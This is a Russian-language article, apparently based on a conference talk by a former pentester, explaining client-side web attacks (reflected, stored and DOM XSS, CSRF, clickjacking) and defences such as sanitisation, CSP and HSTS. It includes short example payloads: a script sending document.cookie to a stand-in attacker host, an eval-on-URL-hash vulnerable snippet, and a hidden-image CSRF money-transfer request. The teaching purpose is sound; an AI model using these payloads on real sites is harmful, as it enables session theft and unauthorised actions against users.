Какие атаки на клиентскую часть веб-ресурсов вы знаете? XSS, CSRF, HTTP Response Splitting, Clickjacking, CSHM, атаки на CORS, следствия других ошибок программистов? В среднем разработчик вспоминает не половину, и даже не треть. Разнообразие атак зависит только от фантазии и любопытства злоумышленников, и все они созданы, чтобы навредить вашим клиентам, а значит — и вам.
Татьяна Новикова — ex-пентестер с опытом в безопасности около четырех лет, а ныне Application Security Engineer. В команде ЦАРКА (Центр анализа и расследования кибератак) она занималась пентестом — полной проверкой веб-ресурсов на безопасность. В том числе команда работала с white-box, то есть с исходными кодами, и разбирала безопасность не только бэкенда, но и фронтенда. Сейчас Татьяна перешла в Beeline Казахстан и занимается обеспечением процессов безопасной разработки.
На основе своего опыта она выступила на конференции Frontend Conf Live 2020. В одной статье, конечно, невозможно покрыть все уязвимости и потенциальные опасности, поэтому сегодня будет самое актуальное и страшное из доклада — то, что может нанести максимальный ущерб.
Когда мы задумываемся о наличии уязвимостей в своих продуктах, важно помнить один момент: они могут быть даже в тех кусочках кода, которые не вызывают у вас подозрений. На протяжении трех последних лет статистика PTSecurity утверждает, что 9 из 10 веб-приложений в нашем интернете уязвимы к атакам client-side. Но это не значит, что одно приложение из десяти не уязвимо: скорее всего, уязвимость в нем просто еще не выявили. Мы поговорим сегодня о некоторых видах атак, с которыми может столкнуться каждый разработчик.
XSS (Cross-Site Scripting)
Это самая классическая и распространённая уязвимость client-side. Как только появилась возможность создавать пользовательские сессии и куки, которые эти сессии поддерживают, — тут же кому-то захотелось узнать, есть ли способ тайно заполучить и использовать чужие сессии. А JavaScript прекрасно позволяет работать с куками напрямую, а значит, JS инъекции - весьма аппетитная цель для злоумышленника. Но начнем мы не с них, ведь если посмотреть последние Bug Bounty репорты, то видно, что инъектировать и вставлять зловредную нагрузку хакеры умудряются абсолютно везде.
Начать, наверное, стоит с HTML инъекций. На первый взгляд они кажутся безобидными, но по факту могут привести к очень неприятным последствиям, особенно для рядовых пользователей, которые зашли на ваш веб-ресурс. Чаще всего обычный пользователь ресурса не имеет навыков в разработке и плохо представляет, как всё работает, и поэтому не может опознать HTML-инъекцию или атаку, которая идет на него. Форма ввода пароля, которая отрисована на странице, обычно вызывает у него доверие, а в адресную строку, где могла притаиться вредоносная нагрузка, он чаще всего не смотрит. А это прекрасная почва для социальных инженеров.
Инъекции в JavaScript распространены и интересны злоумышленникам еще больше.
Что же это за инъекции такие? Основная их задача заключается в том, чтобы выполнить зловредный js-код в браузере атакуемого, но в контексте вашего домена. Чтобы, понятное дело, получить данные вашего пользователя.
К сожалению, очень часто такие уязвимости эксплуатируются так называемыми script kiddie. Это люди, которые начинают изучать безопасность или хотят дешево и не прилагая особых усилий кого-то взломать — им прикольно или даже выгодно посмотреть, как работает уязвимость, для которой уже кем-то создан эксплойт (эксплойтом называют скрипт, который позволяет эксплуатировать уязвимости). Но довольно часто их действия не настолько обдуманы, как у настоящих хакеров, и навредить они могут просто потому, что не до конца продумали свою атаку.
Проект OWASP (Open Web Application Security Project) агрегирует огромное количество информации о том, как бороться с самыми разными уязвимостями, и какие куски кода могут привести к тому, что у вас появятся те или иные уязвимости. Его подпроект OWASP Top Ten — статистический топ уязвимостей, которые в веб-ресурсах появляются. XSS атаки уже много лет входят в топ-10.
В 2013 году они были на 3 месте, а в 2017 спустились на 7 позицию. Однако не стоит думать, что XSS атаки сдали свои позиции, нет. Скорее просто другие уязвимости набрали больше оборотов. К тому же это деление достаточно условное.
Виды XSS
Сегодня известно 3 вида XSS: Reflected (отраженные атаки), Stored (хранимые атаки) и атаки на DOM. Список на самом деле условный, и он может измениться. Например, атаки на DOM активно стали эксплуатироваться только в последнюю пятилетку, так что через пару лет могут появиться и другие атаки.
Все примеры XSS-атак можно посмотреть на сайте XSS-игры, которую разработал Google как раз для тренировки в поисках XSS-атак. Рекомендую поиграть в эту игру, состоящую всего из 6 уровней. На каждом из уровней нужно найти одну уязвимость, то есть понять, каким образом можно проинъектировать свою вредоносную нагрузку в чужую страницу, и научиться находить такие уязвимости самостоятельно.
Reflected XSS
В разной литературе отраженные атаки называют по-разному (например, моментальными XSS), но суть одна и та же: страница, к которой вы обращаетесь, возвращает пользователю фрагменты запроса.
Отраженные XSS неудобны для атакующего тем, что они требуют социальной инженерии. Надо каким-то образом уговорить пользователя, например, перейти по ссылке. В этой ссылке в качестве параметра GET-запроса будет идти кусочек JS, который и выполнится в контексте его браузера.
Stored XSS
Раз это хранимые XSS — значит, они где-то хранятся, и чаще всего это база данных бэкенда. Это могут быть сообщения на форуме, комментарии к записям, и по большому счету всё, что угодно — любое сохраняемое сообщение от пользователя. И здесь важно помнить: если при сохранении в БД программисты-бэкендеры обычно (будем оптимистами) думают о защите от SQL-инъекций, то о защите от XSS при записи в базу они задумываются гораздо реже, что, наверное, вполне логично.
Хранимые XSS для злоумышленника — это клондайк. Достаточно оставить, к примеру, комментарий с XSS, и код из него выполнится у любого человека, попавшего на эту страницу, в контексте его браузера.
В общем случае даже социальной инженерии не нужно. Достаточно убедиться, что на эту страницу люди заходят, и все посетители этой страницы таким образом отдадут злоумышленнику свои куки.
В XSS-игре на втором уровне приведен пример хранимой XSS — небольшой чат, данные которого сохраняются.
Этот пример весьма забавный: мы подсовываем в запросе битую ссылку на картинку и говорим: если произойдет ошибка, выполни алерт. Поскольку ссылка битая, ошибка, конечно, произойдет, и алерт выполнится. И это всё, что нужно злоумышленнику — его js-код уже отработал. А что он внутри себя сделает — отправит куда-то куки или что-то еще — это другой вопрос.
DOM-based XSS
Это атаки, которые пытаются манипулировать Document Object Model из JavaScript. Если хранимые и отраженные XSS попадают на сервер, то его защита (например, Web Application Firewall) может их распознать. Но здесь ситуация страшнее, потому что DOM-based XSS до сервера вообще не дойдет. Все изменения будут происходить исключительно на стороне клиента, в браузере. Поймать его на сервере крайне тяжело.
Пример кода, который может привести к DOM-based XSS:
<body>
<script>
var l = location.hash.slice (l);
eval(l);
</script>
</body>
http://victim.com/test_eval.html#alert(document.cookie)
Если злоумышленник будет знать, что у вас есть такой кусочек кода, то ему достаточно после символа # указать alert(document.cookie). После чего отработает eval, и тот код, который был указан после #, будет выполнен.
В XSS-игре это третий уровень. Изменяя DOM, мы можем менять картинку, которую нам демонстрируют. Точно также можно вызвать выполнение какого-либо JavaScript-кода либо по ошибке, либо по наведению клика мыши — не принципиально, главное, чтобы ваш код выполнился.
Другие атаки по поведению очень схожи с XSS. Какие-то эксплуатируют XSS, но не крадут куки пользователя, а делают что-то другое. Посмотрим несколько самых распространенных вариантов, что может сделать злоумышленник, если найдет у вас уязвимость.
Что хакер может сделать?
Украсть куки и токены
Первый самый очевидный вариант — это кража кук или токенов, которые вы передаете вместе с сессией вашего пользователя. Понятное дело, злоумышленник не будет вызывать алерты, потому что он их вызывал тогда, когда выяснял, есть ли какие-то уязвимости на вашем сайте.
Примерно такой запрос он захочет выполнить в контексте вашего домена:
<script>
document.location=
'http://hackersevildomain/cookiegrabber?c=‘+
document.cookie
</script>
Чтобы собрать куки и токены ваших пользователей, ему нужно где-то на своем домене либо на чужом взломанном домене разместить специальный скрипт — сниффер. Скрипт будет слушать все запросы от вашего сервера и отлавливать те, у которых в качестве параметра “c” что-то есть. Здесь приведен простой пример, но все снифферы ведут себя примерно одинаково. Они собирают куки со всех пользователей, в браузере которых по каким-либо причинам может отработать XSS.
Но это, на самом деле, далеко не все. Что еще может сделать злоумышленник, найдя уязвимость во фронтовой части ресурса?
Выполнить действия от имени пользователя
Можно не красть чужую сессию, потому что в контексте, например, современных веб-ресурсов это может быть бесполезно: защитные механизмы могут сорвать сценарий с кражей кук. Есть, к примеру, HttpOnly куки, которые как раз призваны защищать от атак на стороне клиента. Могут быть и другие, более сложные варианты: если сессия живет небольшое количество времени или защитные механизмы на бэкенде отлавливают информацию, пришел ли пользователь с той же сессией, но с другим фингерпринтом, или что-то подобное.
В этом случае злоумышленник может воспользоваться CSRF (Cross-Site Request Forgery). Несмотря на то, что и XSS, и CSRF начинаются со слов Cross-Site, по поведению эта атака имеет совсем другую логику. Но на HackerOne примеры использования CSRF встречаются в среднем раз в неделю.
Как происходит обычное нормальное стандартное взаимодействие между браузером и каким-либо сервером?
Браузер шлет GET-запрос — дай мне страничку.
Сервер отвечает страничкой, в которой есть форма авторизации.
Пользователь заполняет форму в браузере и отправляет POST-запрос. Хотя в интернете до сих пор, к сожалению, можно найти сайты, которые шлют авторизационные данные GET-запросом.
После того как POST-запрос ушел, на сервере проверяются данные пользователя, то есть валидность логина-пароля.
Дальше все возвращаемые ответы идут в сопровождении куки, которая подтверждает активную сессию. И так, пока браузер обменивается какой-то информацией с сервером.
Давайте допустим, что на нашем ресурсе есть уязвимость, приводящая к CSRF. А что произойдет, если наш пользователь зайдет на какой-то сервер, подвластный злоумышленнику? Который злодей либо взломал, либо это изначально вообще его веб-сервер, который он полностью контролирует.
Ничего не подозревающий пользователь, авторизованный на вашем сайте и владеющий активной сессией с куками, нажимает на ссылку на сайте атакующего. После этого формируется запрос на ваш сайт, то есть на сайт, у которого есть CSRF-уязвимость.
Это пример с GET-запросом, но важно понимать, что с POST-запросом это отработает так же успешно, просто атака будет немного сложнее. Потому что надо будет отправлять параметры и каким-то образом смоделировать клик на стороне уязвимого сайта. Однако, это тоже можно сделать JavaScript’ом.
CSRF-атаку очень часто используют в совершенно неочевидных местах. В качестве примера можно привести реальный кейс из практики: на одном ресурсе для смены пароля не надо было вводить старый пароль, а достаточно было два раза ввести новый и нажать кнопку SUBMIT (тоже небезопасно, однако уязвимости действительно чаще всего эксплуатируются в связках).
Злоумышленники создали сайт, который точно должен был заинтересовать всех нужных клиентов. Одному из них этот сайт прорекламировали, он туда зашел и, естественно, кликнул на какую-то форму. В результате отправился запрос на атакуемый сайт, и пароль клиента поменялся на нужный злоумышленникам. Клиент поделился ссылкой на сайт со всеми своими коллегами, и у них также поменялись пароли на атакуемом сайте.
Один из классических примеров, как еще можно эксплуатировать CSRF:
<img src =
"https://samplebank.com/onlinebanking/transfer?amount=
5000&accountNumber=1234123412341234"
width="0" height= "0">
Это очень утрированный и не реалистичный пример перевода денег в каком-либо онлайн-кошельке, однако сама схема атаки не особо сильно изменится, если передавать данные POST запросом, например.
Достаточно скрыть этот код за открытием какой-нибудь интересной для пользователя картинки, и атака отработает.
Еще один распространенный вариант — это смена e-mail адреса. Его можно поменять от имени пользователя, и он об этом не узнает. Но вот доступ к своему личному кабинету потеряет, как только прервет сессию. Никому в голову не придет каждую сессию перепроверять в личном кабинете, всё ли в порядке с его e-mail адресом.
Но это тоже еще не всё, что хакер может сделать.
Подделать поля, наложить фреймы
Эта атака связана с внедрением JavaScript-кода — так называемый clickjacking или кража кликов, когда злоумышленник подделывает какие-то поля или накладывает абсолютно прозрачные фреймы поверх фреймов на вашей странице. При клике на них выполняется не то действие, которое указано на вашей странице, а другое.
Вы наверняка сталкивались с такими вещами, если смотрели кино на бесплатных пиратских площадках. Вы кликаете на PLAY, но открывается дополнительная вкладка, которая что-то рекламирует, и только второй клик уже отрабатывает реально на PLAY.
При этом Clickjacking довольно сложно поймать.
Хакер может даже получить исполнение кода
Этот пример довольно экзотический, хотя весьма оверкильный. Если вашим сайтом пользуются люди, которыми могут всерьез заинтересоваться злоумышленников, помните о такой возможности.
Это очень сложная комплексная атака, которая требует продуманного и запланированного подхода. Нужно использовать социальную инженерию, на сайте должна быть уязвимость, и всё должно корректно отрисоваться. Тем не менее, успешные эксплуатации были. Рассмотрим один из вариантов.
Суть атаки в добавлении желтого поля “Additional plugins are required to display all the media on this page”. Оно очень похоже на то, что выдает браузер, когда ему действительно не хватает каких-то плагинов. Проблема в том, что выдается это на территории веб-страницы, то есть окно накладывается поверх нее.
Был случай, когда злоумышленники, внедрив JavaScript-код, отрисовали аналогичное поле, и при клике на Install Missing Plugins с их сервера скачивался исполняемый файл. После его установки злоумышленник мог делать на компьютере жертвы всё что угодно.
Использовать фреймворки, причем для обеих сторон
У злоумышленников сейчас есть много инструментов для автоматизации самых разных процессов, в том числе и фреймворки, которые анализируют сайты и подсказывает, куда, как и где можно встроить код. Фреймворки могут полностью скопировать визуальное оформление страниц или проверить, к чему и какие действия на вашем сайте могут привести. Например, есть фреймворк Browser Exploitation Framework (BeEF), который регулярно обновляется.
Фреймворки для разработчиков, казалось бы нацелены на обеспечение базовой безопасности и помогают избежать банальных ошибок, но и на них нельзя полагаться до конца и рассчитывать, что все их конструкции безопасны. Это касается и фронтенда, и бэкенда.
Потому что практически в каждом фреймворке, вне зависимости от того, client-side это или server-side, есть какая-нибудь небезопасная конструкция. И на сайте каждого разработчика фреймворка напротив этой конструкции будет стоять либо жирный восклицательный знак, либо целая плашка с текстом: «Внимание, если вы будете это использовать, то ответственность за безопасность ваших клиентов лежит только на вас!»:
React: SetDangerouslyHTML
Angular 2: innerHTML
Vue: v-html
Почему это так? Потому что очень часто используются так называемый сырой HTML. Иногда это нужно для удобства разработчика — какие-то вещи очень тяжело написать, если не использовать все возможности HTML. Также те разработчики, кто не хочет разбираться с тонкостями и особенностями фреймворка, но имеют определенный опыт написания чистого HTML, предпочитают иной раз поставить директиву использования сырого кода вместо того, чтобы разобраться, как же сделать правильно.
Был случай, когда уязвимость в Vue-коде получилось найти только после чтения исходников. Выяснилось, что программисты использовали v-HTML и передавали туда данные с сервера, абсолютно никак их не обрабатывая.
Вот так это можно сделать на Vue:
Возьмем простую страничку, где есть поле «Добро пожаловать» и какая-то ссылка в HTML. В данном случае код записан прямо здесь, но в реальности он будет получен с сервера, onmouseover=alert(...). Если сервер никаким образом этот текст не обработал, то, понятно, что вы его тоже получите в том же виде, и эта уязвимость обязательно отработает.
Для остальных фреймворков много примеров можно найти в интернете, или почитать документацию и понять, как это делается. А мы, тем временем, подходим к главному вопросу.
Как защищаться?
Санитизировать приходящие от пользователей и от бэкенда данные (все, вообще, совсем)
Очищайте и отфильтровывайте всё потенциально опасное во всех запросах, которые к вам приходят — и от бэкенда, и от клиента, и вообще откуда угодно.
Для того, чтобы привести все примеры, как отфильтровывать служебные последовательности, как их эскейпить, понадобится еще как минимум две таких статьи. Вместо этого вам важно узнать и понять, как это делает конкретно ваш инструмент. И перед написанием кода на всякий случай проверять, что вы всё это помните, не забываете и ни с чем не путаете.
Следить за подключаемыми библиотеками/уязвимостями в используемых фреймворках
В табличке приведены уязвимости, которые найдены в 2020 году, не обязательно прямо в самих фреймворках и библиотеках, но в каких-то их компонентах или в других популярных библиотеках, которые их используют.
Обратите внимание на уровень уязвимостей — встречается не только medium. Пентестеры знают, что фронтовые уязвимости относительно редко поднимаются выше medium. Но во всех четырех случаях были уязвимости high level — либо в самих библиотеках/фреймворках, либо в использующих их компонентах.
Ресурс snyk.io предлагает довольно неплохую базу уязвимостей с достаточно быстрой актуализацией — как только уязвимость заявили и выпустили патч, в этой базе появляется запись об этом. У них также есть неплохие блоги про всё, что связано с безопасностью фронтенда и не только.
А если мне кажется, что я защищен?
На все описанное выше кто-то может сказать, что он достаточно защищен, т.к., например? у него есть Web Application Firewall. Но, во-первых, мы уже видели пример уязвимости, с которой не сможет справиться WAF — это уже рассмотренный DOM-based XSS. А во-вторых — что такое Web Application Firewall? Это механизм, действующий на основе набора сигнатур (с использованием, возможно, какого-то машинного обучения), который получает запрос, смотрит на него и выявляет, по каким критериям этот запрос может быть подозрительным.
Проблема в том, что это вечная гонка между злоумышленником и защитными механизмами: злоумышленник придумывает атаку, а WAF выбирает из нее сигнатуры и блокирует все атаки со схожими сигнатурами. Злоумышленник снова придумывает новую атаку, чтобы обойти ограничение WAF.
Так они могут, как кошка с мышкой, бегать друг за другом постоянно. Эта война, скорее всего, никогда не прекратится, ведь вероятность того, что создадут WAF, который умеет блокировать абсолютно все вредоносные запросы, стремится к нулю, потому что человеческая фантазия безгранична.
Кроме того, с каждой новой появляющейся технологией появляются новые уязвимости.
Это так называемый Polyglot XSS — специальная нагрузка, которую злоумышленники используют для проверки того, используется ли на сайте WAF. Для этого какой-либо фрагмент этой нагрузки вставляется в запрос и проверяется, среагирует сайт или нет. Ещё два года назад ни один WAF эту нагрузку не блокировал. Сейчас какие-то уже умеют это делать, но всё еще не все. Да и таких “полиглотов” в интернете очень много.
Поэтому, хотя WAF — это, безусловно, очень хорошо, и он остановит большое количество массовых атак, но если человеку принципиально вас взломать, он всегда сможет это сделать.
Остается центральный вопрос — а что же делать со всем этим?
Правильно устанавливать заголовки безопасности
Пожалуй, самый мощный механизм, который должен быть в арсенале любого разработчика — это правильная работа с заголовками безопасности. Их разработано большое количество, за что в первую очередь большое спасибо Google Chrome. Но до сих пор не все заголовки безопасности активно используются, поэтому посмотрим на них поближе.
CSP (Content-Security-Policy)
Content-Security-Policy, пожалуй, самый важный из них. Он устанавливается в качестве HTTP header и говорит о том, откуда можно брать контент для выполнения на вашей странице. К примеру, если вы тянете JavaScript-файлы со своего собственного домена, то все ОК. Туда также можно прописать CDN, с которого вы подтягиваете какие-то скрипты или другие вещи.
Content-Security-Policy: default-src 'self' *.trusted.com
Из крутого — туда можно прописать report-uri. Report-uri хорош тем, что если вы его укажете в своей policy, то все попытки обойти CSP будут вам репортиться именно на этот адрес:
Content-Security-Policy: default-src 'self'; report-uri
Там же можно указать и большое количество другой полезной информации: например, откуда можно выполнять скрипты, брать стили, подтягивать картинки, как работать с веб-сокетами и много чего еще. Как работают и как сконфигурировать доступные директивы, можно посмотреть здесь.
HSTS (Strict Transport Security)
Этот заголовок безопасности говорит, что если доступен сертификат безопасности, и если на этот сайт пришли по HTTPS, то все подзапросы, которые с него будут уходить, должны идти тоже по шифрованному соединению, да и в целом на сайт можно попасть только по https.
Strict-Transport-Security: max-age=31536000;
Важно помнить, что если у вас на сервере не настроен редирект, то пришедших по HTTP вы не редиректите автоматических на HTTPS — то есть работать эти заголовки просто не будут, они будут игнорироваться. Поэтому такой редирект обязан быть на вашем сайте.
Если у вас есть сертификат, то какой бы пользователь по какой бы ссылке ни пришел, ходить он должен только по защищенному соединению. Иначе появляются атаки типа Man-in-the-Middle, когда, например, какой-нибудь не очень добросовестный провайдер интернета будет вам добавлять на страницу такое дикое количество рекламы, что страницу за ней не будет видно.
SOP (Same origin policy)
Same origin policy говорит о том, к чему имеют доступ новые открываемые окна в контексте того же домена. В общем случае мы рассчитываем на то, что все скрипты, которые мы собираемся использовать на нашей странице, должны иметь одно и то же происхождение. Причем под origin здесь понимается целый триплет: это и схема, и хост (имя вашего ресурса), и порт, по которому идет обращение:
schema://host:port
В SOP всегда имеет смысл прописать полный список доменов вместе со схемами и портами, которым вы полностью доверяете.
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: mysite
Заключение
В заключение несколько пунктов:
Следите за новостями безопасности, даже если вам кажется, что вас это не касается. Каждый день обнаруживаются новые уязвимости и всегда может всплыть что-то, что связано с используемыми вами технологиями. Буквально за полгода может измениться абсолютно все. Может найтись какая-то новая уязвимость, которую никто раньше никогда не эксплуатировал. Например, тот же CSRF можно было реализовать еще с 1992 года, но только недавно его начали активно использовать.
Знайте особенности используемых технологий. Особенно если вы используете какие-то небезопасные конструкции в своем фреймворке или библиотеке. Важно быть в курсе и при необходимости их каким-то образом дополнительно обрабатывать.
Никому не доверяйте. Не только пользователю доверять нельзя, это и так понятно. Но даже по отношению к своему собственному бэкенду нужно проявлять разумную осторожность, как мы видели в примерах выше.
Берегите своих пользователей. Постарайтесь не подставлять их лишний раз и не подвергать опасности.
Приходите на FrontendConf 2021 11-12 октября в Radisson Slavyanskaya. Будет интересно! Билеты, расписание и тезисы докладов.